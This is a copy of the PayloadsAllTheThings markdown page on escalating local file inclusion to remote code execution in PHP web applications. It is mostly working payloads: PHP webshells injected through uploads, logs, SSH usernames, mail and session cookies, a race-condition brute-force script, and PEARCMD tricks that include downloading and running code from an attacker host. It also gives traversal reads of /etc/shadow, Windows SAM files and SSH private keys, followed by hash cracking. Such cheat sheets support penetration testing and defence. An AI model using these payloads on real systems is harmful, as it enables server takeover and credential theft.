lfi-to-rce.md (11933B)
1 --- 2 title: "LFI to RCE" 3 topic: "File Inclusion" 4 topicSlug: "file-inclusion" 5 sourcePath: "File Inclusion/LFI-to-RCE.md" 6 sourceUrl: "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/3ac27901c711/File%20Inclusion/LFI-to-RCE.md" 7 sha: "3ac27901c711" 8 isReadme: false 9 --- 10 11 # LFI to RCE 12 13 > LFI (Local File Inclusion) is a vulnerability that occurs when a web application includes files from the local file system, often due to insecure handling of user input. If an attacker can control the file path, they can potentially include sensitive or dangerous files such as system files (/etc/passwd), configuration files, or even malicious files that could lead to Remote Code Execution (RCE). 14 15 ## Summary 16 17 - [LFI to RCE via /proc/*/fd](#lfi-to-rce-via-procfd) 18 - [LFI to RCE via /proc/self/environ](#lfi-to-rce-via-procselfenviron) 19 - [LFI to RCE via iconv](#lfi-to-rce-via-iconv) 20 - [LFI to RCE via upload](#lfi-to-rce-via-upload) 21 - [LFI to RCE via upload (race)](#lfi-to-rce-via-upload-race) 22 - [LFI to RCE via upload (FindFirstFile)](#lfi-to-rce-via-upload-findfirstfile) 23 - [LFI to RCE via phpinfo()](#lfi-to-rce-via-phpinfo) 24 - [LFI to RCE via controlled log file](#lfi-to-rce-via-controlled-log-file) 25 - [RCE via SSH](#rce-via-ssh) 26 - [RCE via Mail](#rce-via-mail) 27 - [RCE via Apache logs](#rce-via-apache-logs) 28 - [LFI to RCE via PHP sessions](#lfi-to-rce-via-php-sessions) 29 - [LFI to RCE via PHP PEARCMD](#lfi-to-rce-via-php-pearcmd) 30 - [LFI to RCE via Credentials Files](#lfi-to-rce-via-credentials-files) 31 32 ## LFI to RCE via /proc/*/fd 33 34 1. Upload a lot of shells (for example : 100) 35 2. Include `/proc/$PID/fd/$FD` where `$PID` is the PID of the process and `$FD` the filedescriptor. Both of them can be bruteforced. 36 37 ```ps1 38 http://example.com/index.php?page=/proc/$PID/fd/$FD 39 ``` 40 41 ## LFI to RCE via /proc/self/environ 42 43 Like a log file, send the payload in the `User-Agent` header, it will be reflected inside the `/proc/self/environ` file 44 45 ```powershell 46 GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 47 User-Agent: <?=phpinfo(); ?> 48 ``` 49 50 ## LFI to RCE via iconv 51 52 Use the iconv wrapper to trigger an OOB in the glibc (CVE-2024-2961), then use your LFI to read the memory regions from `/proc/self/maps` and to download the glibc binary. Finally you get the RCE by exploiting the `zend_mm_heap` structure to call a `free()` that have been remapped to `system` using `custom_heap._free`. 53 54 **Requirements**: 55 56 - PHP 7.0.0 (2015) to 8.3.7 (2024) 57 - GNU C Library (`glibc`) <= 2.39 58 - Access to `convert.iconv`, `zlib.inflate`, `dechunk` filters 59 60 **Exploit**: 61 62 - [ambionics/cnext-exploits](https://github.com/ambionics/cnext-exploits/tree/main) 63 64 ## LFI to RCE via upload 65 66 If you can upload a file, just inject the shell payload in it (e.g : `<?php system($_GET['c']); ?>` ). 67 68 ```powershell 69 http://example.com/index.php?page=path/to/uploaded/file.png 70 ``` 71 72 In order to keep the file readable it is best to inject into the metadata for the pictures/doc/pdf 73 74 ## LFI to RCE via upload (race) 75 76 - Upload a file and trigger a self-inclusion. 77 - Repeat the upload a shitload of time to: 78 - increase our odds of winning the race 79 - increase our guessing odds 80 - Bruteforce the inclusion of /tmp/[0-9a-zA-Z]{6} 81 - Enjoy our shell. 82 83 ```python 84 import itertools 85 import requests 86 import sys 87 88 print('[+] Trying to win the race') 89 f = {'file': open('shell.php', 'rb')} 90 for _ in range(4096 * 4096): 91 requests.post('http://target.com/index.php?c=index.php', f) 92 93 94 print('[+] Bruteforcing the inclusion') 95 for fname in itertools.combinations(string.ascii_letters + string.digits, 6): 96 url = 'http://target.com/index.php?c=/tmp/php' + fname 97 r = requests.get(url) 98 if 'load average' in r.text: # <?php echo system('uptime'); 99 print('[+] We have got a shell: ' + url) 100 sys.exit(0) 101 102 print('[x] Something went wrong, please try again') 103 ``` 104 105 ## LFI to RCE via upload (FindFirstFile) 106 107 :warning: Only works on Windows 108 109 `FindFirstFile` allows using masks (`<<` as `*` and `>` as `?`) in LFI paths on Windows. A mask is essentially a search pattern that can include wildcard characters, allowing users or developers to search for files or directories based on partial names or types. In the context of FindFirstFile, masks are used to filter and match the names of files or directories. 110 111 - `*`/`<<` : Represents any sequence of characters. 112 - `?`/`>` : Represents any single character. 113 114 Upload a file, it should be stored in the temp folder `C:\Windows\Temp\` with a generated name like `php[A-F0-9]{4}.tmp`. 115 Then either bruteforce the 65536 filenames or use a wildcard character like: `http://site/vuln.php?inc=c:\windows\temp\php<<` 116 117 ## LFI to RCE via phpinfo() 118 119 PHPinfo() displays the content of any variables such as **$_GET**, **$_POST** and **$_FILES**. 120 121 > By making multiple upload posts to the PHPInfo script, and carefully controlling the reads, it is possible to retrieve the name of the temporary file and make a request to the LFI script specifying the temporary file name. 122 123 Use the script [phpInfoLFI.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py) 124 125 ## LFI to RCE via controlled log file 126 127 Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file. 128 129 ```powershell 130 http://example.com/index.php?page=/var/log/apache/access.log 131 http://example.com/index.php?page=/var/log/apache/error.log 132 http://example.com/index.php?page=/var/log/apache2/access.log 133 http://example.com/index.php?page=/var/log/apache2/error.log 134 http://example.com/index.php?page=/var/log/nginx/access.log 135 http://example.com/index.php?page=/var/log/nginx/error.log 136 http://example.com/index.php?page=/var/log/vsftpd.log 137 http://example.com/index.php?page=/var/log/sshd.log 138 http://example.com/index.php?page=/var/log/mail 139 http://example.com/index.php?page=/var/log/httpd/error_log 140 http://example.com/index.php?page=/usr/local/apache/log/error_log 141 http://example.com/index.php?page=/usr/local/apache2/log/error_log 142 ``` 143 144 ### RCE via SSH 145 146 Try to ssh into the box with a PHP code as username `<?php system($_GET["cmd"]);?>`. 147 148 ```powershell 149 ssh <?php system($_GET["cmd"]);?>@10.10.10.10 150 ``` 151 152 Then include the SSH log files inside the Web Application. 153 154 ```powershell 155 http://example.com/index.php?page=/var/log/auth.log&cmd=id 156 ``` 157 158 ### RCE via Mail 159 160 First send an email using the open SMTP then include the log file located at `http://example.com/index.php?page=/var/log/mail`. 161 162 ```powershell 163 root@kali:~# telnet 10.10.10.10. 25 164 Trying 10.10.10.10.... 165 Connected to 10.10.10.10.. 166 Escape character is '^]'. 167 220 straylight ESMTP Postfix (Debian/GNU) 168 helo ok 169 250 straylight 170 mail from: mail@example.com 171 250 2.1.0 Ok 172 rcpt to: root 173 250 2.1.5 Ok 174 data 175 354 End data with <CR><LF>.<CR><LF> 176 subject: <?php echo system($_GET["cmd"]); ?> 177 data2 178 . 179 ``` 180 181 In some cases you can also send the email with the `mail` command line. 182 183 ```powershell 184 mail -s "<?php system($_GET['cmd']);?>" www-data@10.10.10.10. < /dev/null 185 ``` 186 187 ### RCE via Apache logs 188 189 Poison the User-Agent in access logs: 190 191 ```ps1 192 curl http://example.org/ -A "<?php system(\$_GET['cmd']);?>" 193 ``` 194 195 Note: The logs will escape double quotes so use single quotes for strings in the PHP payload. 196 197 Then request the logs via the LFI and execute your command. 198 199 ```ps1 200 curl http://example.org/test.php?page=/var/log/apache2/access.log&cmd=id 201 ``` 202 203 ## LFI to RCE via PHP sessions 204 205 Check if the website use PHP Session (PHPSESSID) 206 207 ```javascript 208 Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ 209 Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly 210 ``` 211 212 In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] or /var/lib/php/sessions/sess_[PHPSESSID] files 213 214 ```javascript 215 /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. 216 user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; 217 ``` 218 219 Set the cookie to `<?php system('cat /etc/passwd');?>` 220 221 ```powershell 222 login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php 223 ``` 224 225 Use the LFI to include the PHP session file 226 227 ```powershell 228 login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27 229 ``` 230 231 ## LFI to RCE via PHP PEARCMD 232 233 PEAR is a framework and distribution system for reusable PHP components. By default `pearcmd.php` is installed in every Docker PHP image from [hub.docker.com](https://hub.docker.com/_/php) in `/usr/local/lib/php/pearcmd.php`. 234 235 The file `pearcmd.php` uses `$_SERVER['argv']` to get its arguments. The directive `register_argc_argv` must be set to `On` in PHP configuration (`php.ini`) for this attack to work. 236 237 ```ini 238 register_argc_argv = On 239 ``` 240 241 There are this ways to exploit it. 242 243 - **Method 1**: config create 244 245 ```ps1 246 /vuln.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=eval($_GET['cmd'])?>+/tmp/exec.php 247 /vuln.php?file=/tmp/exec.php&cmd=phpinfo();die(); 248 ``` 249 250 - **Method 2**: man_dir 251 252 ```ps1 253 /vuln.php?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/exec.php+-d+man_dir=<?echo(system($_GET['c']));?>+-s+ 254 /vuln.php?file=/tmp/exec.php&c=id 255 ``` 256 257 The created configuration file contains the webshell. 258 259 ```php 260 #PEAR_Config 0.9 261 a:2:{s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri";a:0:{}}s:7:"man_dir";s:29:"<?echo(system($_GET['c']));?>";} 262 ``` 263 264 - **Method 3**: download (need external network connection). 265 266 ```ps1 267 /vuln.php?file=/usr/local/lib/php/pearcmd.php&+download+http://<ip>:<port>/exec.php 268 /vuln.php?file=exec.php&c=id 269 ``` 270 271 - **Method 4**: install (need external network connection). Notice that `exec.php` locates at `/tmp/pear/download/exec.php`. 272 273 ```ps1 274 /vuln.php?file=/usr/local/lib/php/pearcmd.php&+install+http://<ip>:<port>/exec.php 275 /vuln.php?file=/tmp/pear/download/exec.php&c=id 276 ``` 277 278 ## LFI to RCE via credentials files 279 280 This method require high privileges inside the application in order to read the sensitive files. 281 282 ### Windows version 283 284 Extract `sam` and `system` files. 285 286 ```powershell 287 http://example.com/index.php?page=../../../../../../WINDOWS/repair/sam 288 http://example.com/index.php?page=../../../../../../WINDOWS/repair/system 289 ``` 290 291 Then extract hashes from these files `samdump2 SYSTEM SAM > hashes.txt`, and crack them with `hashcat/john` or replay them using the Pass The Hash technique. 292 293 ### Linux version 294 295 Extract `/etc/shadow` files. 296 297 ```powershell 298 http://example.com/index.php?page=../../../../../../etc/shadow 299 ``` 300 301 Then crack the hashes inside in order to login via SSH on the machine. 302 303 Another way to gain SSH access to a Linux machine through LFI is by reading the private SSH key file: `id_rsa`. 304 If SSH is active, check which user is being used in the machine by including the content of `/etc/passwd` and try to access `/<HOME>/.ssh/id_rsa` for every user with a home. 305 306 ## References 307 308 - [LFI WITH PHPINFO() ASSISTANCE - Brett Moore - April 6, 2017](https://web.archive.org/web/20170406225317/https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf) 309 - [LFI2RCE via PHP Filters - HackTricks - July 19, 2024](https://web.archive.org/web/20220819000915/https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters) 310 - [Local file inclusion tricks - Johan Adriaans - August 4, 2007](https://web.archive.org/web/20250403080651/http://devels-playground.blogspot.fr/2007/08/local-file-inclusion-tricks.html) 311 - [PHP LFI to arbitrary code execution via rfc1867 file upload temporary files (EN) - Gynvael Coldwind - March 18, 2011](https://web.archive.org/web/20110429042455/http://gynvael.coldwind.pl:80/?id=376) 312 - [PHP LFI with Nginx Assistance - Bruno Bierbaumer - December 26, 2021](https://web.archive.org/web/20250604035904/https://bierbaumer.net/security/php-lfi-with-nginx-assistance/) 313 - [Upgrade from LFI to RCE via PHP Sessions - Reiners - September 14, 2017](https://web.archive.org/web/20170914211708/https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/)